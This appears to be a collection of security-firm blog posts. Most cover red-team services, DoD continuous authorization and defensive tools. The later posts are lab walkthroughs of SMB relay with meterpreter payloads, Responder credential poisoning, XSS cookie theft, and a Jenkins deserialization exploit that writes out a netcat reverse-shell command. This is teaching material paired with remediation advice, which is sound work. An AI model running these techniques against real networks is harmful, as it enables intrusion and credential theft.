Amidst the backdrop of an interconnected cyber world, it has become unfortunate that organizations find themselves repeatedly grappling with the reality of cyberattacks. The cybercriminals, threat actors, adversaries, and hackers alike that present these challenges all utilize “Tactics, Techniques, and Procedures” (TTPs) to carry out their playbook against organizations of all sizes. While the objectives and incentives may differ for these adversaries, one thing remains the same for organizations: it’s not IF you will be targeted, but when and how.
Red team (RT) Assessments are an effective solution for organizations to gain insight into which attack paths currently exist within and around their environment. As best defined by author Joe Vest of the Red Team Development and Operations book, “red teaming is the process of using Tactics, Techniques, and Procedures (TTPs) to emulate real-world threats with the goal of training and measuring the effectiveness of the people, processes, and technology used to defend an environment.” This emulation of real-world threats differentiates a red team assessment from a standard penetration test. For a red team assessment, generally, a stealthier approach is taken (as a real-world adversary might take, hoping to evade existing detections on the network), with objective(s) in mind. An example objective might be for the red teamer(s) to access specific data, achieve domain-wide takeover, or successfully data-mine and pivot across the organization while evading the watchful eyes of blue team defenders. While these objectives may be reached with a regular penetration test, generally, the goal of a regular penetration test is to discover all possible vulnerabilities, flaws, and misconfigurations on the network, with less concern around evading detections (though this can certainly be a component, too, depending on the organization’s preference).
Since 2015, BreakPoint Labs (BPL) has empowered its red teamers to stay abreast of current attack techniques, all while ensuring that their capabilities are tested and vetted before executing adversarial actions against a security partner and/or organization. We firmly believe that the active testing performed in red team assessments can provide organizations with a realistic capture of what security holes exist, all while training and advancing the defenses of an organization’s defenses through post-engagement findings, lessons learned, and recommendations.
This depends greatly upon the objective(s) of the assessment you are seeking and whether your organization currently has a defense-in-depth approach in place. If your organization has existent controls, such as host-based protection, network monitoring, access controls, and centralized logging with dedicated personnel monitoring events, then a red team style of assessment would benefit your organization. A red team assessment can not only identify attack paths, gaps in defensive strategies, and vulnerabilities but also measure your defense in depth approach and ultimately train your defenders watching over your IT assets/network. A red team assessment would also be recommended for organizations that have been penetration tested in the past and for organizations that would like a stronger focus on testing their defensive capabilities. Breakpoint Labs offers red team assessments, penetration tests, and vulnerability assessments depending on your organization’s objectives and desired approach.
The next thing you may ask is, what is the return on investment (ROI) and benefit for having a RedTeam assessment?
Red team assessments are powerful tools for evaluating an organization’s security posture. By simulating various threat actors, these assessments provide valuable insights into potential vulnerabilities and areas for improvement. Let’s explore the different adversarial perspectives a red team can emulate:
Red teams can simulate attacks from outside the organization, testing defensive capabilities at the external boundary (e.g., the Internet). This perspective helps identify vulnerabilities that could be exploited by remote attackers.
This approach assumes that systems or networks have already been compromised, either by an insider threat or an external attacker who has gained unauthorized access. Internal red teaming is particularly valuable as it:
By simulating attacks on physical assets (buildings, equipment, and infrastructure), red teams can assess an organization’s ability to protect, defend, and respond to attackers seeking physical entry. This perspective is crucial for preventing cyber footholds gained through physical access.
This red team service specifically targets an organization’s people and their response to adversaries, enticing outreach, or communications. Social engineering attacks can include:
Social engineering assessments test not only people and how they react to these interactions but also the technologies or security controls deployed by an organization that help filter or prevent said attacks from reaching their employees.
Red teams can combine multiple perspectives in a multi-phased approach for a comprehensive evaluation. This method assesses an organization’s resilience against various attack vectors, providing a holistic view of its security posture. By understanding and leveraging these different adversarial perspectives, organizations can gain a complete picture of their security strengths and weaknesses, ultimately enhancing their defense strategy.
Contact BreakPoint Labs now to schedule your free consultation and discover how a red team assessment can fortify your defenses against evolving cyber threats. Our expert team is ready to tailor a comprehensive solution to your unique needs.
Zack Meyers is a Program Manager at BreakPoint Labs and a lead for a DoW-certified Red Team, where he specializes in emulating advanced threat actor TTPs to secure high-value assets. He is a recognized expert in offensive security operations, notably spearheading the attainment of a unique NSA certification for a DoW client to conduct full-spectrum red team activities. Zack holds a Master’s Degree in Cybersecurity and numerous elite certifications, including OSCP and CISSP, and manages daily technical operations for offensive security services across DoW, Federal, and commercial sectors.
As the Department of Defense continues accelerating capability delivery to warfighters, agility, and modern software development are an integral part of the process. Delivering new features rapidly requires an authorization process to keep pace with continuous change for a developing capability. To tackle these challenges, the DoD introduced Continuous Authorization to Operate (cATO)—a new way to ensure security without impeding progress.
At BreakPoint Labs, we’ve been at the forefront of this paradigm shift, supporting critical DoD cyber missions and accelerating software delivery to users. We’ve had the opportunity to assist organizations in transitioning from a control assessment point-in-time approach to focusing on continuous risk determination and authorization through demonstrated continuous assessing, monitoring, and risk management. Our experience has given us unique insights into the transformational approach that is changing how the Department evaluates and authorizes highly effective development, security, and operations (DevSecOps) practices within a software development environment. As such, we’re introducing a 5-part series titled Unpacking the DoD’s cATO Evaluation Criteria.
Continuous Authority to Operate (cATO) is a framework that grants an organization’s systems or networks continuous authorization to assess whether they meet the required security standards. As opposed to traditional “ATO” processes, which require a static cycle of approval, usually every 3 years, cATO offers dynamic, ongoing authorization based on the current security state of systems in runtime.
The DoD defines cATO as: “The state achieved when an organization that develops, secures, and operates a system has demonstrated enough maturity in maintaining a resilient cybersecurity posture that traditional risk assessments and authorizations become redundant.”2
This approach aligns with the DoD’s Software Modernization Strategy, pushing for better DevSecOps practices and faster, more secure software deployment. The March 2025 State of DevSecOps report published by the DoD CIO describes DevSecOps as a critical enabler of the shift to cATO, noting that over 50 DoD software factories are now delivering code using DevSecOps practices.
The traditional ATO process was sufficient when systems were less complex and security challenges were more predictable. However, with the rise of cloud technologies, continuous deployment models, and ever-evolving cybersecurity threats, organizations found that static authorization led to blind spots in security compliance.
This is where cATO comes into play. Instead of evaluating systems at predefined intervals, cATO ensures systems remain compliant through ongoing assessments, allowing organizations to maintain security postures dynamically without significant downtime.
The DoD’s shift to cATO also incorporates Zero Trust principles. The March 2025 State of DevSecOps report explicitly frames cATO as incorporating real-time assessment, Zero Trust principles, and DevSecOps to secure the supply chain against emerging threats. Organizations building toward cATO should treat Zero Trust architecture as a foundational element, not a parallel initiative.
As organizations prepare for cATO evaluation, they should focus on:
DevSecOps Platform (DSOP): The set of tools and automation that supports software development, including secure pipelines and control gates.
Processes: Workflows and practices that ensure continuous risk management and seamless integration of security.
People: The skills, training, and collaboration between teams responsible for development, security, and operations. Building a culture of security is just as important as the technology.
For Military Services and DoD Agencies and Field Activities, cATO isn’t just a buzzword—it offers advantages in the form of:
To implement cATO, organizations need to adopt a blend of automation tools, monitoring platforms, and updated security practices.
Key steps include:
As we dive deeper into cATO Evaluation Criteria throughout this series, we’ll explore each of these pillars in detail and offer practical insights and strategies for implementation. We’ll draw on our extensive experience supporting critical DoD initiatives to provide a roadmap for organizations looking to embrace this new standard in cybersecurity and software deployment.
The path to cATO is less about process change and more about the shift in how software development and security are approached. cATO offers DoD Components a modernized authorization process for dynamic, resilient software development environments to deliver secure, scalable, and reliable software at the speed modern warfare demands.
A traditional Authorization to Operate is a point-in-time approval, typically renewed every three years, based on a compliance review conducted at a specific moment. A Continuous Authorization to Operate replaces that static cycle with ongoing authorization based on the real-time security state of the system. The DoD defines cATO as the state achieved when an organization has demonstrated enough maturity in maintaining a resilient cybersecurity posture that traditional risk assessments become redundant. Rather than proving compliance at intervals, organizations must demonstrate continuous monitoring, active cyber defense, and a secure software supply chain as ongoing capabilities.
The DoD cATO framework rests on three pillars. The first is Continuous Monitoring (ConMon), which requires near real-time visibility into Risk Management Framework controls, with aggregated security data available to authorizing officials continuously rather than at scheduled intervals. The second is Active Cyber Defense (ACD), which requires real-time threat response, integration with Cybersecurity Service Providers, and a regular cadence of penetration testing and vulnerability assessments. The third is Secure Software Supply Chain (SSSC), which requires security to be integrated throughout the software development lifecycle using approved DevSecOps platforms, automated control gates, and Infrastructure as Code. Each pillar is covered in detail in this series.
The March 2025 State of DevSecOps report published by the DoD CIO describes DevSecOps as a critical enabler of the shift from point-in-time risk assessment to continuous authorization to operate. An organization practicing DevSecOps is building the pipeline, automation, monitoring, and culture that cATO requires. The report notes that cATO incorporates real-time assessment, Zero Trust principles, and DevSecOps to secure the supply chain against emerging threats. DevSecOps is the methodology that makes continuous assessment operationally possible. cATO is the authorization outcome that recognizes that maturity.
The DoD’s March 2025 State of DevSecOps report explicitly frames cATO as incorporating Zero Trust principles alongside real-time assessment and DevSecOps. Zero Trust requires continuous verification of every user, device, and connection rather than assuming trust based on network location or prior authorization. This aligns directly with cATO’s requirement for continuous rather than periodic security assessment. Organizations building toward cATO should treat Zero Trust architecture as a foundational requirement, not a parallel initiative.
DevSecOps is the practice of integrating security into software development and operations continuously rather than treating it as a phase at the end of the development cycle. cATO is the DoD authorization framework that recognizes and rewards that maturity. An organization practicing DevSecOps is building the foundational capability that cATO requires. DevSecOps is the methodology. cATO is the formal recognition that an organization’s development, security, and operations practices are mature enough that traditional point-in-time risk assessments become redundant.
The Software Engineering for Continuous Delivery of Warfighting Capability guide is published by the Office of the Under Secretary of Defense for Research and Engineering. It provides guidance for DoD Program Management Offices, systems engineers, and acquisition officials on modern software development practices. The guide has gone through three revisions: initial release in April 2023, a December 2024 revision that clarified Agile and DevSecOps terminology and metrics, and a July 2025 revision that substantially updated guidance on AI and machine learning. For cATO programs, the guide defines the engineering and DevSecOps practices that underpin the Secure Software Supply Chain pillar of cATO evaluation.
Penetration testing is an explicit requirement under the Active Cyber Defense pillar of cATO. It’s not a one-time compliance gate but a recurring component of the continuous assessment posture. Organizations pursuing cATO need to demonstrate a regular cadence of adversarial testing as evidence that security is actively managed. The findings from penetration tests feed directly into the continuous risk determination process and give the Authorizing Official current data on exploitable risk rather than a compliance status based on a prior snapshot.
The Authorizing Official accepts risk on behalf of the organization and grants the authorization to operate. In a traditional ATO, this decision is based on a point-in-time assessment package reviewed periodically. In cATO, the Authorizing Official needs continuous, near real-time visibility into the system’s security posture so risk decisions can be made as the environment changes rather than on a fixed review schedule. This shifts the AO from periodically reviewing static documentation to maintaining ongoing awareness through a live security dashboard.
Infrastructure as Code means that system and environment configurations are defined and managed through code rather than manual processes. For cATO, IaC matters because it creates a consistent, auditable, and repeatable deployment process where security controls are enforced programmatically at every deployment. It reduces configuration drift, the gradual deviation of a live system from its authorized security baseline, which is one of the core failure modes that point-in-time authorization processes cannot detect between review cycles.
The DoD defines a software factory as a collection of people, tools, and processes that enables teams to continuously deliver value by deploying software to meet the needs of a specific community of end users. The March 2025 State of DevSecOps report notes there are over 50 DoD software factories now using DevSecOps to deliver code into production. Software factories represent the organizational implementation of the DevSecOps practices that cATO evaluation is built around. A program operating with a software factory has the foundational infrastructure that cATO requires.
cATO is not universally mandatory, but it is the preferred authorization approach for programs using continuous deployment models under the DoD Software Modernization Strategy. Programs delivering software updates frequently and operating in cloud or DevSecOps environments are the primary intended audience. Programs still operating on traditional waterfall development cycles may find that a traditional ATO remains more practical, but the direction of DoD policy is clearly toward continuous authorization for modern software development environments.
There is no fixed timeline because cATO is a state of demonstrated maturity rather than a certification with a defined endpoint. Organizations starting from a traditional ATO posture should expect the transition to take significant time, as it requires building or maturing pipelines, monitoring tooling, DevSecOps practices, and organizational culture across development, security, and operations teams. The March 2025 State of DevSecOps report identifies bureaucratic inertia aligned to traditional approaches as one of the primary barriers, noting that existing processes across cyber, test and evaluation, acquisition, and requirements all need to be realigned toward rapid incremental delivery.
The primary reference documents are the DoD CIO’s Continuous Authorization to Operate memo, the DevSecOps Continuous Authorization to Operate Evaluation Criteria, the March 2025 State of DevSecOps report published by the DoD CIO at dodcio.defense.gov, and the Software Engineering for Continuous Delivery of Warfighting Capability guide published by OUSD R&E and last updated July 2025 at cto.mil. For programs operating within a specific military service, check for service-specific implementation guidance in addition to these DoD-level documents.
1. Department of Defense Software Modernization Strategy – DoD CIO
2. Continuous Authorization To Operate (cATO) Memo – Department of Defense
3. DevSecOps Continuous Authorization to Operate Evaluation Criteria – DoD CIO
4. DevSecOps Continuous Authorization to Operate Evaluation Criteria – DoD CIO
Network defenders are often not armed with the right information to fix critical permission issues and general misconfigurations within Active Directory (AD).
Many of these flaws lay dormant in the network for 10+ years until either an attacker or pentester takes advantage of the flaw. This is because these flaws don’t appear in security checklists or vulnerability scanners, which alone can be a daunting task for a large enterprise.
We often get in the mindset of “needing to fix what the tool tells us,” and if it’s not a critical or high-impact flaw coming out of a vulnerability scanner, it just isn’t addressed.
This leaves network defenders with an incomplete picture of their network’s security posture.
At BreakPoint Labs, we understand the importance of bridging the gap between offensive and defensive security practices. That’s why we’re excited to share insights from Andrew McNicol’s recent presentation at BSidesCharm 2024, where he offered defenders a unique attacker’s perspective on Active Directory (AD) environments.
During the presentation, Andrew introduced a game-changing tool developed by BreakPoint Labs called Ad-recon, which automates numerous complex queries going through BloodHound data via Neo4j cypher queries.
Ad-recon is a tool designed to quickly triage BloodHound data (~2-4 seconds to a few minutes to run, depending on switches and data size) and will identify numerous security issues within the AD environment.
Andrew’s talk dives deep into each query Ad-recon performs, shedding light on the significance of the findings and discussing them from both attacker and defender perspectives.
Additionally, Ad-recon allows for customization, enabling users to print and modify queries for use in their own environments, whether via code, Neo4j interface, Cypher-Shell query, or BloodHound GUI.
Discover how to fortify your AD defenses with insights directly from the front lines.
About BreakPoint Labs
BreakPoint Labs, a technically proficient, mission-focused cybersecurity service provider, is dedicated to delivering the methods and means for sustainable, measurable, and effective cybersecurity operations.
Powered by highly motivated, experienced cybersecurity professionals, BreakPoint Labs is developing and leveraging technology to enable a more secure cyberspace.
With well-formed service delivery models in cybersecurity risk assessments, defensive cyber operations, and cyber research and development, underpinned by CMMI® for Services (CMMI-SVC) Level 3 and ISO 9001:2015 corporate certifications, BreakPoint Labs supports a diverse client base in addressing its most challenging problems in the cyber defense domain.
Contact us today for a free cybersecurity assessment consultation.
Talk to a Cybersecurity ExpertAD-RECON is a new tool developed by BreakPoint Labs to quickly triage BloodHound data to identify potential attack paths and misconfigurations. Written in Python, it utilizes the Neo4j driver to automate a multitude of high-value queries.
With a single command, AD-RECON presents relevant domain information and checks for ‘quick wins’ within Active Directory, including but not limited to:
Additionally, there are several optional functions available:
AD-RECON is a tool that can save organizations numerous hours of manual analysis. It can quickly triage BloodHound data and identify potential attack paths and misconfigurations, performing tasks that usually take days of manpower in a matter of minutes. On most Active Directory (AD) networks, it likely uncovers at least one significant misconfiguration. Pentesters and Red Teamers can leverage it to save time on engagements, and Defenders can benefit by identifying flaws before an engagement or real threat actor.
The growth of the Additive Manufacturing industry has yielded some exciting advancements in manufacturing. As AM is more widely adopted it is imperative that trust in AM parts is proven and retained. Having rigorous verification and validation processes in place will help ensure the quality of AM parts and maintain customer trust in AM technologies.
Verification is a process whereby objective evidence is used to demonstrate that a product is designed and manufactured according to its specifications and is free of defects. We are asking, “Did we build this thing correctly?”. Verification is a prerequisite for validation.
AM verification processes and techniques primarily focus on analyzing the post-manufactured object. Popular AM verification methods are X-ray technology, which can validate the internal geometry, and CT scanning, which quickly and accurately verify the internal and external geometry. CT scan results are then analyzed by creating a dataset and comparing it against a CAD file. This nondestructive x-ray technology is also capable of identifying internal cracks and porosity between the intersections of resins in multi-material printed parts. A CT scan offers a much higher level of detail than X-ray. Newer in-process verification methods focus on monitoring the print as it’s happening. These in-process monitoring techniques can utilize acoustics, visual and/or mechanical sensors. The collected data can then be visually inspected as well as digitally compared to the intended specifications. While these verification methods are an important part of verification and validation, there is a piece missing. When a part fails verification testing, we want to know why. While machine operations, machine parameters, design, material or user error may be to blame; however, we also need to assess whether any outside actor introduced a fault through cyber-enabled access.
Continuous cyber monitoring detects compliance and security risk issues in real-time. Through this continuous monitoring, sabotage to AM prints can be detected before going through expensive verification processes such as CT scanning. Continuous monitoring of cyber activity related to AM is especially important in applications where critical parts are being manufactured and also where national security could be at risk. In March 2022, The White House released a statement prioritizing the strengthening of cybersecurity defenses and improving the security of widely used technology in order to prepare our Nation for cyber threats. With BISON, continuous monitoring processes reconstruct the G-Code transmitted over the wire and compares that to the original, trusted file and identifies deviations. If deviations occur, AM operators will have insight into any malicious cyber activity that has occurred.
If you are interested in learning more about securing AM or a demonstration of the BISON capability, please contact us at info@breakpoint-labs.com.
This video provides a crash course introduction to Linux for security analysts. It is common for security analysts to enter the field with their Linux skills lacking. Linux provides a security analysts with such powerful data analysis capabilities using built-in utilities (Grep, Sed, Awk, Egrep, Sort, Uniq, etc.).
This video hopefully gives someone new to Linux a few jumping off points by showing some useful examples (analyzing pcap, parsing nmap, simple for loop automation, and parsing HTML). The video ends with a quick proof of concept example of how to enumerate *most* of Facebook’s public infrastructure using a single bash command.
Check it out below:
BSides Philly is an information security conference that’s a volunteer organized event, hosted by and for the community, with a goal of advancing knowledge among security engineers. The conference was held on December 2nd and 3rd 2016 at the Drexel University Creese Student Lounge.
Finding A Company’s BreakPoint
The goal of this talk is to help educate those who are new or learning penetration testing and hacking techniques. We tend to see the same mindset applied when we speak to those new to pentesting “Scan something with Nessus to find the vulnerability, and then exploit it…Right?”. This is very far from reality when we talk about pentesting or even real world attacks. In this talk we will cover five (5) techniques that we find to be highly effective at establishing an initial foothold into the target network including: phishing, multicast protocol poisoning, SMBrelay attacks, account compromise and web application vulnerabilities.
Video:
Slides:
Once your on an internal network your next thought maybe how can I man in the middle (MITM) systems on the network? OR How can I identify vulnerabilities in what appears to be a fully patched environment across systems? One way that often works while performing an internal pentest is to intercept broadcast protocols like LLMNR/NBNS or HTTP/SMB traffic and relay NTLM authentication handshakes to other hosts. By establishing a malicious server on the network we can relay these network authentication handshake attempts from legitimate server exchanges to our own with an outcome of obtaining access to system resources that we couldn’t access before. This blog post is a follow-on to “5 Ways We Get On Your Network” with a closer look at relaying SMB techniques.
SMB Relay Attacks, essentially occur once an attacker inserts themselves in the middle of the NTLM challenge/response protocol. In order for a SMB relay attack to occur the attacker just needs to cause the victim to initiate an HTTP or SMB connection back to the attacker. The multicast name resolution manipulation of NBNS/LLMNR spoofing is only one means of accomplishing this. Typically with SMB Relay attacks the attacker inserts themselves into the middle of an exchange after selecting a target server to authenticate to, which we will cover in our attacker scenario later. The attacker then waits for a system on the network to authenticate to their machine while being connected to the network.
Sometimes patch management systems, antivirus updates, vulnerability scanners, administrator scripts, etc. will attempt to authenticate to hosts systematically across systems on the network. Typically the way to weaponize this is to have the automated process connect to the attackers system with the intention of authenticating to a system on the local network (that the attacker is targeting) for the MITM process to begin (assuming SMB signing doesn’t prevent us). Later in this blog you will see an example of Nessus a vulnerability scanner that has been given credentials to perform an automated scan against a host falling victim to a SMB relay attack.
High Level Overview of SMB Relay Attacks:
Once the authentication process is started the attackers target generates a challenge and sends it back to the attacker. The attacker then sends the challenge back to the originating automated process and/or system. The automated process and/or system then encrypts the challenge with the appropriate password hash and sends it to the attackers system. The attacker finally passes the encrypted response back to his target and with success authenticates to the targeted system.
Now to better understand this attack and process lets jump into a lab scenario that exploits the exchange between a windows client and its domain controller that leads to a meterpreter shell spawning to our attacker system once successful.
Attackers Scenario:
– Attackers IP: 192.168.56.103
– Windows Client Target IP: 192.168.56.105
– Windows DC Target IP: 192.168.56.102
1. Create Your Payload: Lets say that in this scenario we know these systems and their IP’s after we reviewed traffic on the network potentially through a network capture or using a tool like Responder, which we covered in another post. First thing that we can do is build our executable payload with msfvenom:
Once we successfully build out our reverse TCP meterpreter payload “meterz1.exe” we can check the file type to verify that our executable creation and command was indeed successful:
2. Establish Your Listener: Now that we have created our payload we can start msfconsole and use the “/exploit/multi/handler” to stage our listener on our attacker IP. Once the LHOST, LPORT, PAYLOAD and AutoRunScript setting are established we can then type exploit to start our listener. Make sure that you set your multi handler options (we set them to default settings) to the same configured in your msfvenom payload created. Additionally we set the AutoRunScript portion of our multi handler in order to migrate our meterpreter shell to another process to maintain a stronger persistence.
3. Start Your SMB Relay Script: With our malicious executable created and our multi handler started now we can leverage the smbrelayx.py script in another terminal window from our attacker system. In this scenario we know that we want to target the windows client connection (.105) to its domain controller (.102). We need to start our smbrelayx.py script within the same directory as our msfvemom executable created. Below we specify our target host with (-h) and point our script to our payload (-e) for upload upon successful smbrelay attacks that allow writable access to shares.
4. Invoke A Connection Between the Windows Systems: With our script now running let’s navigate to our domain controller system and open a command prompt. Once open type a simple dir command making a connection to the windows client on the domain like so “\192.168.56.105c” and here we can see our connection worked. But when we make a connection from the DC to the “.103” (the attacker IP) for a share our smbrelayx.py running will relay this authentication attempt to login to the “.105” (windows client).
5. Spawn Your Meterpreter Shell: If we switch back to our Attacker instance we should see that the terminal running smbrelayx is attempting to intercept the connection request from the DC (.102) to the attacker IP (.103). During this exchange the script receives the SMB authentication connection from the DC and attempts to authentication against the windows client that we are targeting (.105) with the Administrator account on the CRT domain. Once authenticated the tool begins to request shares on the client and eventually finds a writeable share “ADMIN$” on the windows client and uploads the executable file we created with a generated name and migrate services to maintain persistence with our now spawned meterpreter shell! #profit
SMB Relay Attack Nessus:
As stated before many local networks will have patch management systems, antivirus updates, vulnerability scanners, administrator scripts, etc. will attempt to authenticate to hosts systematically. Often the exchange of credentials being passed between these automated tools or scripts can fall prey to SMB relay attacks. Recently we wanted to test this notion for ourselves with a commercial vulnerability scanner so we leveraged a trial edition of Nessus.
Nessus is commonly deployed in an enterprise environment on a windows server that scans clients for vulnerabilities while leveraging potentially domain or local administrative credentials. We configured the trial of Nessus on our DC server (.102) and set domain administrative credentials for authentication to scan the windows client for vulnerabilities. Before starting our authenticated Nessus scan we set our multi handler, smbrelayx.py and msfvenom payload to the same configuration used in our prior example. Once the multi handler was listening and the smbrelayx script was running, we started our Nessus scan against the windows client. As a result during the scan the smbrelayx script was successful in intercepting the credentials and relayed them over to access the windows client, find a writable share and upload our payload with meterpreter shell access.
How Do I Prevent SMB Relay Attacks and LLMNR, NBNS Spoofing?
The attack vector of performing SMB relay attacks as a MITM is nothing new in the security world, but still absolutely effective across many internal networks. The vulnerability had a major Microsoft Security Bulletin released back in 2008 (MS08-068) . Currently many companies and their local networks lack the proper remediation necessary in order to prevent these types of attacks. Below are several suggestions and potential remediation approaches that could prevent these MITM attacks:
1) Require SMB Signing
2) Disable Broadcast Protocols: LLMNR (Link Local Multicast Name Resolution) and NBNS (NetBios Name Resolution)
3) Prevent WPAD Poisoning with DNS entries
4) Prevent SMB Traffic Outbound
5) Enable EPA (Extended Protection and Authentication)
We find that a majority of the time internal networks allow for credentials to be passed between systems via name resolution traffic such as the Link-Local Multicast Name Resolution (LLMNR) and Netbios Name (NBT-NS) services. By listening, intercepting and manipulating name resolution traffic an attacker can redirect authentication traffic to the attacker’s machine in a Man-in-the-Middle (MitM) attack.
These multicast services (LLMNR & NBT-NS) are used to allow machines on the same subnet to communicate with each other when DNS fails. For example when a user tries to access a system and it cannot be resolved due to an error or no record then an LLMNR and/or NetBIOS request will be sent over multicast or broadcast across the network to resolve this request.
One way that we find this possible is through using a python script called Responder, which can be used to accomplish this poisoning attack. Responder also has several rogue authentication servers listening on several UDP and TCP ports. In our experience once this script is properly run it will capture an abundance of usernames and password hashes traversing the network (typically NetNTLMv2) in modern Windows environments.Capturing Credentials w/ Responder:
Responder is a very useful script that should be in every internal pentesters arsenal whether you have access to the network with your own system or not. But we will get more into that eventually! Let’s assume your attacker system has access to the internal network and you have responder installed. From this point we can simply start this script at the beginning of our assessment with the proper configuration switches set depending on your goals and hopefully watch these broadcast protocols roll on in authentication attempts to our “logs/” files!
1. Running Responder in a Basic Manner: Below is the default “Responder.conf” file that you can tweak depending on what services you want to be started when the script is run. By default all server services are set to start and act as listeners to capture various protocols traffic on the network.
Once the conf file is reviewed, we can now start our Python Responder script against a network interface (-I eth0) and enable fingerprinting (-f) to identifying basic system information while traffic is intercepted and spoofing attempts occur.
Below you can see that Responder was able to poison the LLMNR protocol when the (.105) host queried for an unknown name to DNS on the network. The outcome shows that Responder successfully intercepted the NTLMv2 User and Hash for the Administrator account. From this point once an adversary can obtain additional users and their hashes which can lead to several attack vectors becoming more possible via password cracking, pass the hash, SMB relay attacks, etc.
If we choose to crack the hash it stores the credentials in a file in the “log/” directory that we can easily run against John the Ripper to potentially crack the hash and reveal the clear text password.
2. Running Responder with WPAD Enabled: Another way to leverage Responder is to utilize its WPAD feature. On an enterprise network often a DNS entry for “WPAD” should exist and direct users requesting access to the Internet to a proxy server that hosts a “wpad.dat” file. If no entry for this file exists and users leverage Internet Explorer on their clients then their requests could fall victim to WPAD poisoning attacks. Internet Explorer is vulnerable to these attacks due to its configuration “Autodetect proxy setting” being enabled by default. If a DNS query fails for the WPAD file due to a lack of configuration in DNS entries, then the clients request falls back to (WINS) Windows Internet Name Service which broadcasts the local network for “WPAD” on the network. This is where Responder comes in and allows the ability to spoof WPAD requests. Below is an example of running Responder with the WPad (-w) and Basic authentication prompt (-b) being enabled to capture potential credentials.
Once a user on the local network attempts to reach the Internet while using Internet Explorer in this example they should receive the following basic authentication login prompt from our WPAD poisoning. This prompt then routes credentials to the responder session running and stores any captures within the “ log/” directory.
3. Running Responder in a Analyze Mode: Depending on your rules of engagement or curiosity of whether your local network utilizes these various protocols were discussing responder has a monitoring feature called Analyze. This mode is much less intrusive than other options discussed prior that actively spoof the network. By enabling the Analyze (-A) feature you can review the local network for various types of traffic including LLMNR, NBNS, WPAD, Browser, etc.
This feature is sent to your running session and logged in the “Analyzer-Session.log” for further review. Ultimately Analyze mode can present a clearer picture of the networks communication and whether or not poisoning attacks could be a potential vulnerability without attempting to exploit the network.
Poisoning the Network Even Though the Host is Locked!
Recently Room362 posted a blog on how an attacker with physical access to an organizations system can perform these multicast attacks with Responder by plugging in a specialized USB device even on a locked system! The blog covers the configuration of weaponizing your USB device and how USB on many systems is simply Plug in Play, meaning that even when a systems screen is locked the device can still be installed and run the specified responder command to capture traffic.
How Do I Prevent Multicast Name Resolution Poisoning?
Currently many companies and their local networks lack the proper remediation necessary in order to prevent these types of multicast communication attacks. Below are several suggestions and potential remediation approaches that could prevent these spoofing and poisoning attacks:
Web applications are a natural occurrence in almost every engagement. This is the case on both internal and external networks of just about every company or organization. Sometimes they are kept separate from the rest of the network, sometimes they are everywhere, and sometimes they are hidden or forgotten (even from the people who run the network!).
Web applications will often have a wide variety of uses in the organization. Due to this, they will have a lot of variance in their purpose and complexity, resulting in an application that can be very dynamic in nature with a wide degree of vulnerabilities and flaws. These vulnerabilities will often times vary greatly, ranging from improper handling of user input, general misconfigurations that affect usability, all the way to implementation of vulnerable software that allows for full compromise.
We will most often see applications with vulnerabilities in the following areas:
Note: These testing techniques were covered deeper in our BSidesDC 2016 talk “Beyond Automated Testing”Unlinked/Outdated Content:
Often time’s features of an application will be added or installed by default. These features may not have a production use or they are no longer needed and have been forgotten. This content will often contain a functionality that can be a detriment to the application as a whole, such as an insecure login form or a plugin that has not been updated.
An excellent example of dangerous content would be an unlinked Tomcat Manager resource. This is generally unlinked in the application and will often run on a different port or a different portion of the application. If this is accessible by default, it provides a management interface login that will allow the deployment of code that results in a full system compromise.
Improper User Input:
A common practice is to include areas of user input in an application to serve a purpose to both the user and the organization. An example of this could be a username/password field for a login in an application. This serves the purpose of allowing the user to access additional content, and provides the organization the ability to protect content from unauthorized user.
In the case of improperly handled user input, the addition of user input creates a host of potential issues, such as Cross-Site Scripting (XSS), SQL Injection, command execution, and so on. An example of this particular vulnerability is the existence of XSS in an application. This allows us to request the users session cookie (document.cookie), which could potentially allow us to take control of their existing session on the application (post authentication). Under normal circumstances we would create a malicious link containing the XSS and entice the user to click, resulting in execution of our code. We would then send the resulting data back to an attacker controlled server and attempt to ride the session. Below is an example of using XSS to send the current sessions cookie to the attacker.
Stored XSS Example:
Content Management Systems & Plugins:
Existing content management systems (CMS) are often deployed on an application to avoid extensive custom development and to ease the management of the system. Examples of content management systems are Wordpress, Joomla, Tomcat, and so on. A lot of CMS today will utilize plugins and third party software to enhance the functionality and usability of the system. An example of a CMS introducing vulnerability would be Wordpress relying on third party plugins, often with little approval required. This reliance on third party plugins and code is often the source of the trouble with these applications.
Known Vulnerable Software:
An organization will often deploy software and will either forget to apply updates, or not do their due diligence in validating that a software does not have known vulnerabilities. It is an important process to verify that the code deployed is secure by checking for CVEs or exploits related the application and doing thorough testing. Below is an attack narrative of a deployed piece of software (Jenkins) that has known vulnerabilities (Java Deserialization). In this scenario we take a look at the most recent CVE that was released with known exploits that can be easily replicated to gain full compromise of the system.
Attacker Scenario:
Attacker IP: 192.168.1.2
Victim IP: 192.168.1.11
In this scenario we are aware of an existing system on the network with an IP of ‘192.168.1.11’ running Jenkins. The victim implementation of Jenkins is vulnerable to a recent CVE (2016-0792). This vulnerability is a possibly pre-authentication exploit against Jenkins due to the use of Groovy that utilizes Java XStream. This vulnerability allows for the deserialization and execution of data when provided by an external user, resulting in remote command execution against the system. This vulnerability can be exploited with a proxy tool, and in this blog we will be demonstrating by using Burpsuite Pro (although Burp Free is acceptable).
To begin, we will first get an initial site map of the application utilizing Burp:
Once we have mapped the application, we can identify the potentially vulnerable application content (/Jenkins/createItem?name=foo):
The application will return an error stating that a POST request is required, with the convenient option to craft the request for us. Using Burps modify request method option, we can now work with our newly crafted POST request. We can send the request to the Burp Repeater tool, and get a baseline response from the server:
The initial response should indicate a 400 BAD REQUEST. This is due to a malformed POST request lacking the appropriate content. At this point, under normal usage we would want to craft a legitimate request, but as an attacker we will be crafting a malicious request. To do so, we will need to create our initial payload, which is based on the research by Contrast Security:
At this point, we can modify our payload to perform an action that suits our need. For the sake of this example, we will get a reverse shell from the server to obtain full user-level access. For this example, we will request a netcat connection while shoveling a shell into the connection using the following command: ‘nc 192.168.1.2 8000 –e /bin/sh’
To properly execute this command, we will need to modify the payload in the 
We will also run a netcat listener to receive our shell with the following command: ‘nc –lvp 8000’
Upon executing the request, the response should show a 500 internal server error and receive our shell: 
